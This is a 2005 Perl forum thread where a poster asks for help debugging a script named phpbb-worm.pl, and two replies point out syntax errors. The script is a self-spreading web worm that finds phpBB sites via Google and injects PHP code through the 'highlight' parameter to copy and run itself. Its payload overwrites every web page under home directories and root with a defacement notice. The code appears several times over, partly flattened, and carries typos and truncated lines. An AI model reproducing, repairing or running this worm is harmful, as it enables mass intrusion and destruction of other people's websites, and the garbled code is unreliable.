Programming Forums > Script Programming > Perl

ProjectX · Sep 18th, 2005, 9:20 PM

Hey guys can you guys tell me whats wrong with this script?

#!/usr/bin/perl
use 
strict;
use Socket;


sub PayLoad();
sub DoDir($);
sub DoFile ($);
sub GoGoogle();

sub GrabURL($);
sub str2chr($);

eval{ fork and exit; };

my $generation = 9;
PayLoad() if $generation > 3;

open IN, $0 or exit;
my $self = join '', <IN>;
close IN;
unlink $0;

while(!GrabURL('http://www.google.com/advanced_search')) {
	if($generation > 3) 
	{
		PayLoad() ;
	} else {
		exit;
	}
}

$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e;

my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';

while(1) {
	exit if -e 'stop.it';

	OUTER: for my $url (GoGoogle()) {

		exit if -e 'stop.it';
	
		$url =~ s/&highlight=.*$//;
		$url .= $tryCode;
		my $r = GrabURL($url);
		next unless defined $r;
		next unless $r =~ /$markStr/;
	
		while($self =~ /(.{1,20})/gs) {
			my $portion = '&highlight=%2527%252Efwrite(fopen(' .  str2chr($selfFileName) . ',' . str2chr('a') . '),' . str2chr($1) .  '),exit%252e%2527';
	
			$url =~ s/&highlight=.*$//;
			$url .= $portion;
			
			next OUTER unless GrabURL($url);
		}

		my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' .  $selfFileName) .  ')%252e%2527'; 
		$url =~ s/&highlight=.*$//;
		$url .= $syst;
	
		GrabURL($url);
	}
}



sub str2chr($) {
	my $s = shift;

	$s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg;
	$s =~ s/%252e$//;

	return $s;
}


sub GoGoogle() {
	my @urls;
	my @ts = qw/t p topic/;
	my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' .  '&q=allinurl%3A+%22viewtopic.php%22+%22' .  $ts[int(rand(@ts))] . '%3D' . int(rand(30000)) . '%22&btnG=Search';
	my $goo1st = GrabURL($startURL)
	fined $goo1st;
	my $allGoo = $goo1st;
	my $r = '<td><a href=(/search\?q=.+?)' . '><img src=/nav_page\.gif width=16 height=26 alt="" border=0><br>\d+</a>';
	while($goo1st =~ m#$r#g) {
		$allGoo . = GrabURL('www.google.com' . $1);
	}
	while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {
		my $u = $1;
		next if $u =~ m#http://.*http://#i; # no redirects
		push(@urls, $u);
	}

	return @urls;
}


sub GrabURL($) {
	my $url = shift;
	$url =~ s#^http://##i;

	my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
	return unless defined($host) && defined($res);

	my $r = 
			"GET $resHTTP/1.0\015\012" .  
			"Host: $host\015\012" . 
			"Accept:*/*\015\012" .  
			"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
			"Pragma: no-cache\015\012" .
			"Cache-Control: no-cache\015\012" .
			"Referer: http://" . $host . $res . "\015\012" .
			
			"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
			"Connection: close\015\012\015\012";

	my $port = 80;
	if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}

	my $internet_addr = inet_aton($host) or return;
	socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
	setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);

	connect(Server, sockaddr_in($port, $internet_addr)) or return;
	select((select(Server), $| = 1)[0]);
	print Server $r;

	my $answer = join '', <Server>; 
	close (Server);

	return $answer;
}


sub DoFile($) {
	my $s = q{
		<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
		<HTML><HEAD><TITLE>This siteis defaced!!!</TITLE></HEAD>
		<BODY bgcolor="#000000" text="#FF0000">
		<H1>This site is defaced!!!</H1>
		<HR><ADDRESS><b>NeverEverNoSanity WebWorm generation } 
		.  $generation .q{.</b></ADDRESS>
		</BODY></HTML>
	};

	unlink $_[0];
	open OUT, ">$_[0]" or return;
	print OUT $s;
	close OUT;
}


sub DoDir($) {

	my $dir = $_[0];
	$dir .= '/' unless $dir =~ m#/$#;

	local *DIR;
	opendir DIR, $dir or return;

	for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {

		unless(-l $dir . $ent) {
			if(-d _) {
				DoDir($dir . $ent);
				next;
			}
		}

		if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i or $ent =~ /\.jsp/i or $ent =~ /\.phtm/i) {
			DoFile($dir . $ent);
		}
	}

	closedir DIR;
}


sub Pay Load() {

	my @dirs;


	eval{
		while(my @a = getpwent()) { push(@dirs, $a[7]);}
	};

	push(@dirs, '/ ');

	for my $l ('A' .. 'Z') {
		push(@d 
		for my $d (@dirs) {
		 DoDir($d); 
	}
}

#!/usr/bin/perl
use 
strict;
use Socket;


sub PayLoad();
sub DoDir($);
sub DoFile ($);
sub GoGoogle();

sub GrabURL($);
sub str2chr($);

eval{ fork and exit; };

my $generation = 9;
PayLoad() if $generation > 3;

open IN, $0 or exit;
my $self = join '', <IN>;
close IN;
unlink $0;

while(!GrabURL('http://www.google.com/advanced_search')) {
	if($generation > 3) 
	{
		PayLoad() ;
	} else {
		exit;
	}
}

$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e;

my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';

while(1) {
	exit if -e 'stop.it';

	OUTER: for my $url (GoGoogle()) {

		exit if -e 'stop.it';
	
		$url =~ s/&highlight=.*$//;
		$url .= $tryCode;
		my $r = GrabURL($url);
		next unless defined $r;
		next unless $r =~ /$markStr/;
	
		while($self =~ /(.{1,20})/gs) {
			my $portion = '&highlight=%2527%252Efwrite(fopen(' .  str2chr($selfFileName) . ',' . str2chr('a') . '),' . str2chr($1) .  '),exit%252e%2527';
	
			$url =~ s/&highlight=.*$//;
			$url .= $portion;
			
			next OUTER unless GrabURL($url);
		}

		my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' .  $selfFileName) .  ')%252e%2527'; 
		$url =~ s/&highlight=.*$//;
		$url .= $syst;
	
		GrabURL($url);
	}
}



sub str2chr($) {
	my $s = shift;

	$s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg;
	$s =~ s/%252e$//;

	return $s;
}


sub GoGoogle() {
	my @urls;
	my @ts = qw/t p topic/;
	my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' .  '&q=allinurl%3A+%22viewtopic.php%22+%22' .  $ts[int(rand(@ts))] . '%3D' . int(rand(30000)) . '%22&btnG=Search';
	my $goo1st = GrabURL($startURL)
	fined $goo1st;
	my $allGoo = $goo1st;
	my $r = '<td><a href=(/search\?q=.+?)' . '><img src=/nav_page\.gif width=16 height=26 alt="" border=0><br>\d+</a>';
	while($goo1st =~ m#$r#g) {
		$allGoo . = GrabURL('www.google.com' . $1);
	}
	while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {
		my $u = $1;
		next if $u =~ m#http://.*http://#i; # no redirects
		push(@urls, $u);
	}

	return @urls;
}


sub GrabURL($) {
	my $url = shift;
	$url =~ s#^http://##i;

	my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
	return unless defined($host) && defined($res);

	my $r = 
			"GET $resHTTP/1.0\015\012" .  
			"Host: $host\015\012" . 
			"Accept:*/*\015\012" .  
			"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
			"Pragma: no-cache\015\012" .
			"Cache-Control: no-cache\015\012" .
			"Referer: http://" . $host . $res . "\015\012" .
			
			"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
			"Connection: close\015\012\015\012";

	my $port = 80;
	if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}

	my $internet_addr = inet_aton($host) or return;
	socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
	setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);

	connect(Server, sockaddr_in($port, $internet_addr)) or return;
	select((select(Server), $| = 1)[0]);
	print Server $r;

	my $answer = join '', <Server>; 
	close (Server);

	return $answer;
}


sub DoFile($) {
	my $s = q{
		<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
		<HTML><HEAD><TITLE>This siteis defaced!!!</TITLE></HEAD>
		<BODY bgcolor="#000000" text="#FF0000">
		<H1>This site is defaced!!!</H1>
		<HR><ADDRESS><b>NeverEverNoSanity WebWorm generation } 
		.  $generation .q{.</b></ADDRESS>
		</BODY></HTML>
	};

	unlink $_[0];
	open OUT, ">$_[0]" or return;
	print OUT $s;
	close OUT;
}


sub DoDir($) {

	my $dir = $_[0];
	$dir .= '/' unless $dir =~ m#/$#;

	local *DIR;
	opendir DIR, $dir or return;

	for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {

		unless(-l $dir . $ent) {
			if(-d _) {
				DoDir($dir . $ent);
				next;
			}
		}

		if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i or $ent =~ /\.jsp/i or $ent =~ /\.phtm/i) {
			DoFile($dir . $ent);
		}
	}

	closedir DIR;
}


sub Pay Load() {

	my @dirs;


	eval{
		while(my @a = getpwent()) { push(@dirs, $a[7]);}
	};

	push(@dirs, '/ ');

	for my $l ('A' .. 'Z') {
		push(@d 
		for my $d (@dirs) {
		 DoDir($d); 
	}
}

When i try to run it I get this error:

(Toggle Plain Text)

syntax error at phpbb-worm.pl line 76, near ".or"
No such class fined at phpbb-worm.pl line 88, near ")
        my fined"
syntax error at phpbb-worm.pl line 88, near ")
        my fined"
Global symbol "$goo1st" requires explicit package name at phpbb-worm.pl line 88.
syntax error at phpbb-worm.pl line 92, near ". ="
Global symbol "$resHTTP" requires explicit package name at phpbb-worm.pl line 112.
syntax error at phpbb-worm.pl line 185, near "sub Pay Load"
Execution of phpbb-worm.pl aborted due to compilation errors.

I am sorry if its too long but please please help me.

Arevos · Sep 19th, 2005, 2:53 AM

(Toggle Plain Text)

$s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg;

This line is incorrect. You have a concatenation operator (".") before a logical operator ("or"). You probably meant "ord($1)" instead of "or d($1)".

ProjectX · Sep 19th, 2005, 10:15 AM

oh yeah thanks alot, and I know theres more... so please help me. and again thanks alot

Ooble · Sep 19th, 2005, 12:44 PM

Line 87: you're missing a semicolon.
Line 92: it's ".=", not ". =".
Line 185: subprocedures can't have spaces in the names.

I don't even know Perl, but I was able to find these because of the error messages. I suggest you read them.

Sep 18th, 2005, 9:20 PM	#1
ProjectX Programmer Join Date: Feb 2005 Posts: 37 Rep Power: 0	I understand Hey guys can you guys tell me whats wrong with this script? (Toggle Plain Text) #!/usr/bin/perl use strict; use Socket; sub PayLoad(); sub DoDir($); sub DoFile ($); sub GoGoogle(); sub GrabURL($); sub str2chr($); eval{ fork and exit; }; my $generation = 9; PayLoad() if $generation > 3; open IN, $0 or exit; my $self = join '', <IN>; close IN; unlink $0; while(!GrabURL('http://www.google.com/advanced_search')) { if($generation > 3) { PayLoad() ; } else { exit; } } $self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e; my $selfFileName = 'm1ho2of'; my $markStr = 'HYv9po4z3jjHWanN'; my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"'; my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527'; while(1) { exit if -e 'stop.it'; OUTER: for my $url (GoGoogle()) { exit if -e 'stop.it'; $url =~ s/&highlight=.$//; $url .= $tryCode; my $r = GrabURL($url); next unless defined $r; next unless $r =~ /$markStr/; while($self =~ /(.{1,20})/gs) { my $portion = '&highlight=%2527%252Efwrite(fopen(' . str2chr($selfFileName) . ',' . str2chr('a') . '),' . str2chr($1) . '),exit%252e%2527'; $url =~ s/&highlight=.$//; $url .= $portion; next OUTER unless GrabURL($url); } my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) . ')%252e%2527'; $url =~ s/&highlight=.$//; $url .= $syst; GrabURL($url); } } sub str2chr($) { my $s = shift; $s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg; $s =~ s/%252e$//; return $s; } sub GoGoogle() { my @urls; my @ts = qw/t p topic/; my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' . '&q=allinurl%3A+%22viewtopic.php%22+%22' . $ts[int(rand(@ts))] . '%3D' . int(rand(30000)) . '%22&btnG=Search'; my $goo1st = GrabURL($startURL) fined $goo1st; my $allGoo = $goo1st; my $r = '<td><a href=(/search\?q=.+?)' . '><img src=/nav_page\.gif width=16 height=26 alt="" border=0><br>\d+</a>'; while($goo1st =~ m#$r#g) { $allGoo . = GrabURL('www.google.com' . $1); } while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) { my $u = $1; next if $u =~ m#http://.http://#i; # no redirects push(@urls, $u); } return @urls; } sub GrabURL($) { my $url = shift; $url =~ s#^http://##i; my ($host, $res) = $url =~ m#^(.+?)(/.)#; return unless defined($host) && defined($res); my $r = "GET $resHTTP/1.0\015\012" . "Host: $host\015\012" . "Accept:/\015\012" . "Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" . "Pragma: no-cache\015\012" . "Cache-Control: no-cache\015\012" . "Referer: http://" . $host . $res . "\015\012" . "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" . "Connection: close\015\012\015\012"; my $port = 80; if($host =~ /(.):(\d+)$/){ $host = $1; $port = $2;} my $internet_addr = inet_aton($host) or return; socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return; setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000); connect(Server, sockaddr_in($port, $internet_addr)) or return; select((select(Server), $\| = 1)[0]); print Server $r; my $answer = join '', <Server>; close (Server); return $answer; } sub DoFile($) { my $s = q{ <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD><TITLE>This siteis defaced!!!</TITLE></HEAD> <BODY bgcolor="#000000" text="#FF0000"> <H1>This site is defaced!!!</H1> <HR><ADDRESS><b>NeverEverNoSanity WebWorm generation } . $generation .q{.</b></ADDRESS> </BODY></HTML> }; unlink $_[0]; open OUT, ">$_[0]" or return; print OUT $s; close OUT; } sub DoDir($) { my $dir = $_[0]; $dir .= '/' unless $dir =~ m#/$#; local DIR; opendir DIR, $dir or return; for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) { unless(-l $dir . $ent) { if(-d _) { DoDir($dir . $ent); next; } } if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i or $ent =~ /\.jsp/i or $ent =~ /\.phtm/i) { DoFile($dir . $ent); } } closedir DIR; } sub Pay Load() { my @dirs; eval{ while(my @a = getpwent()) { push(@dirs, $a[7]);} }; push(@dirs, '/ '); for my $l ('A' .. 'Z') { push(@d for my $d (@dirs) { DoDir($d); } } #!/usr/bin/perl use strict; use Socket; sub PayLoad(); sub DoDir($); sub DoFile ($); sub GoGoogle(); sub GrabURL($); sub str2chr($); eval{ fork and exit; }; my $generation = 9; PayLoad() if $generation > 3; open IN, $0 or exit; my $self = join '', <IN>; close IN; unlink $0; while(!GrabURL('http://www.google.com/advanced_search')) { if($generation > 3) { PayLoad() ; } else { exit; } } $self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e; my $selfFileName = 'm1ho2of'; my $markStr = 'HYv9po4z3jjHWanN'; my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"'; my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527'; while(1) { exit if -e 'stop.it'; OUTER: for my $url (GoGoogle()) { exit if -e 'stop.it'; $url =~ s/&highlight=.$//; $url .= $tryCode; my $r = GrabURL($url); next unless defined $r; next unless $r =~ /$markStr/; while($self =~ /(.{1,20})/gs) { my $portion = '&highlight=%2527%252Efwrite(fopen(' . str2chr($selfFileName) . ',' . str2chr('a') . '),' . str2chr($1) . '),exit%252e%2527'; $url =~ s/&highlight=.$//; $url .= $portion; next OUTER unless GrabURL($url); } my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) . ')%252e%2527'; $url =~ s/&highlight=.$//; $url .= $syst; GrabURL($url); } } sub str2chr($) { my $s = shift; $s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg; $s =~ s/%252e$//; return $s; } sub GoGoogle() { my @urls; my @ts = qw/t p topic/; my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' . '&q=allinurl%3A+%22viewtopic.php%22+%22' . $ts[int(rand(@ts))] . '%3D' . int(rand(30000)) . '%22&btnG=Search'; my $goo1st = GrabURL($startURL) fined $goo1st; my $allGoo = $goo1st; my $r = '<td><a href=(/search\?q=.+?)' . '><img src=/nav_page\.gif width=16 height=26 alt="" border=0><br>\d+</a>'; while($goo1st =~ m#$r#g) { $allGoo . = GrabURL('www.google.com' . $1); } while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) { my $u = $1; next if $u =~ m#http://.http://#i; # no redirects push(@urls, $u); } return @urls; } sub GrabURL($) { my $url = shift; $url =~ s#^http://##i; my ($host, $res) = $url =~ m#^(.+?)(/.)#; return unless defined($host) && defined($res); my $r = "GET $resHTTP/1.0\015\012" . "Host: $host\015\012" . "Accept:/\015\012" . "Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" . "Pragma: no-cache\015\012" . "Cache-Control: no-cache\015\012" . "Referer: http://" . $host . $res . "\015\012" . "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" . "Connection: close\015\012\015\012"; my $port = 80; if($host =~ /(.):(\d+)$/){ $host = $1; $port = $2;} my $internet_addr = inet_aton($host) or return; socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return; setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000); connect(Server, sockaddr_in($port, $internet_addr)) or return; select((select(Server), $\| = 1)[0]); print Server $r; my $answer = join '', <Server>; close (Server); return $answer; } sub DoFile($) { my $s = q{ <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD><TITLE>This siteis defaced!!!</TITLE></HEAD> <BODY bgcolor="#000000" text="#FF0000"> <H1>This site is defaced!!!</H1> <HR><ADDRESS><b>NeverEverNoSanity WebWorm generation } . $generation .q{.</b></ADDRESS> </BODY></HTML> }; unlink $_[0]; open OUT, ">$_[0]" or return; print OUT $s; close OUT; } sub DoDir($) { my $dir = $_[0]; $dir .= '/' unless $dir =~ m#/$#; local DIR; opendir DIR, $dir or return; for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) { unless(-l $dir . $ent) { if(-d _) { DoDir($dir . $ent); next; } } if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i or $ent =~ /\.jsp/i or $ent =~ /\.phtm/i) { DoFile($dir . $ent); } } closedir DIR; } sub Pay Load() { my @dirs; eval{ while(my @a = getpwent()) { push(@dirs, $a[7]);} }; push(@dirs, '/ '); for my $l ('A' .. 'Z') { push(@d for my $d (@dirs) { DoDir($d); } } When i try to run it I get this error: (Toggle Plain Text) syntax error at phpbb-worm.pl line 76, near ".or" No such class fined at phpbb-worm.pl line 88, near ") my fined" syntax error at phpbb-worm.pl line 88, near ") my fined" Global symbol "$goo1st" requires explicit package name at phpbb-worm.pl line 88. syntax error at phpbb-worm.pl line 92, near ". =" Global symbol "$resHTTP" requires explicit package name at phpbb-worm.pl line 112. syntax error at phpbb-worm.pl line 185, near "sub Pay Load" Execution of phpbb-worm.pl aborted due to compilation errors. syntax error at phpbb-worm.pl line 76, near ".or" No such class fined at phpbb-worm.pl line 88, near ") my fined" syntax error at phpbb-worm.pl line 88, near ") my fined" Global symbol "$goo1st" requires explicit package name at phpbb-worm.pl line 88. syntax error at phpbb-worm.pl line 92, near ". =" Global symbol "$resHTTP" requires explicit package name at phpbb-worm.pl line 112. syntax error at phpbb-worm.pl line 185, near "sub Pay Load" Execution of phpbb-worm.pl aborted due to compilation errors. I am sorry if its too long but please please help me.

Sep 19th, 2005, 2:53 AM	#2
Arevos Programming Guru Join Date: Aug 2005 Location: England Posts: 1,499 Rep Power: 4	(Toggle Plain Text) $s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg; $s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg; This line is incorrect. You have a concatenation operator (".") before a logical operator ("or"). You probably meant "ord($1)" instead of "or d($1)".

Sep 19th, 2005, 12:44 PM	#4
Ooble I eat cake for breakfast. Join Date: Jul 2004 Location: In my box. Posts: 4,434 Rep Power: 9	Line 87: you're missing a semicolon. Line 92: it's ".=", not ". =". Line 185: subprocedures can't have spaces in the names. I don't even know Perl, but I was able to find these because of the error messages. I suggest you read them. __________________ Me :: You :: Them

Thread Tools
Show Printable Version Email this Page
Display Modes
Linear Mode Switch to Hybrid Mode Switch to Threaded Mode

Sep 19th, 2005, 10:15 AM	#3
ProjectX Programmer Join Date: Feb 2005 Posts: 37 Rep Power: 0	oh yeah thanks alot, and I know theres more... so please help me. and again thanks alot

Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)

Programming Forums > Script Programming > Perl

I understand